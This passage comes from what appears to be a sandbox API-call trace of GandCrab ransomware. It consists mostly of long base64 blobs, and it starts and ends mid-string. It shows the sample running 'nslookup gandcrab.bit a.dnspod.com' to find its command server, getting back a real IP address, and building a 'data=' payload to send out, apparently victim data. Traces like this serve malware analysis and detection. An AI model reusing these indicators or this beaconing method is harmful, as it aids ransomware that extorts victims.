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") returned 5792 [0163.824] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x8c0000, cbMultiByte=-1, lpWideCharStr=0x3d0000, cchWideChar=5792 | out: lpWideCharStr="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") returned 0 [0163.824] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0163.824] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x2700000 [0163.825] lstrlenW (lpString="") returned 0 [0163.825] VirtualAlloc (lpAddress=0x0, dwSize=0x2, flAllocationType=0x3000, flProtect=0x4) returned 0x2710000 [0163.825] CreatePipe (in: hReadPipe=0x412b0c, hWritePipe=0x412b08, lpPipeAttributes=0x19f834, nSize=0x0 | out: hReadPipe=0x412b0c*=0x3a8, hWritePipe=0x412b08*=0x4a0) returned 1 [0163.825] SetHandleInformation (hObject=0x3a8, dwMask=0x1, dwFlags=0x0) returned 1 [0163.825] CreatePipe (in: hReadPipe=0x412b04, hWritePipe=0x412b10, lpPipeAttributes=0x19f834, nSize=0x0 | out: hReadPipe=0x412b04*=0x4a4, hWritePipe=0x412b10*=0x4a8) returned 1 [0163.825] SetHandleInformation (hObject=0x4a8, dwMask=0x1, dwFlags=0x0) returned 1 [0163.825] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="nslookup gandcrab.bit a.dnspod.com", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f784*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4a4, hStdOutput=0x4a0, hStdError=0x4a0), lpProcessInformation=0x19f7c8 | out: lpCommandLine="nslookup gandcrab.bit a.dnspod.com", lpProcessInformation=0x19f7c8*(hProcess=0x4b0, hThread=0x4ac, dwProcessId=0xaa8, dwThreadId=0xab4)) returned 1 [0163.831] CloseHandle (hObject=0x4b0) returned 1 [0163.831] CloseHandle (hObject=0x4ac) returned 1 [0163.831] ReadFile (in: hFile=0x3a8, lpBuffer=0x19e81c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f81c, lpOverlapped=0x0 | out: lpBuffer=0x19e81c*, lpNumberOfBytesRead=0x19f81c*=0x93, lpOverlapped=0x0) returned 1 [0166.526] lstrlenA (lpString="Address:") returned 8 [0166.526] lstrcpyA (in: lpString1=0x2710000, lpString2="78.155.206.6" | out: lpString1="78.155.206.6") returned="78.155.206.6" [0166.526] lstrcmpiA (lpString1="78.155.206.6", lpString2="127.0.0.1") returned 1 [0166.526] wsprintfW (in: param_1=0x2700000, param_2="%S" | out: param_1="78.155.206.6") returned 12 [0166.526] VirtualFree (lpAddress=0x2710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0166.527] lstrlenA (lpString="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") returned 5792 [0166.527] VirtualAlloc (lpAddress=0x0, dwSize=0x3141, flAllocationType=0x3000, flProtect=0x40) returned 0x2710000 [0166.527] VirtualAlloc (lpAddress=0x0, dwSize=0x2801, flAllocationType=0x3000, flProtect=0x40) returned 0x2720000 [0166.527] lstrcatA (in: lpString1="", lpString2="data=" | out: lpString1="data=") returned="data=" [0166.527] lstrcatA (in: lpString1="data=", lpString2="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5c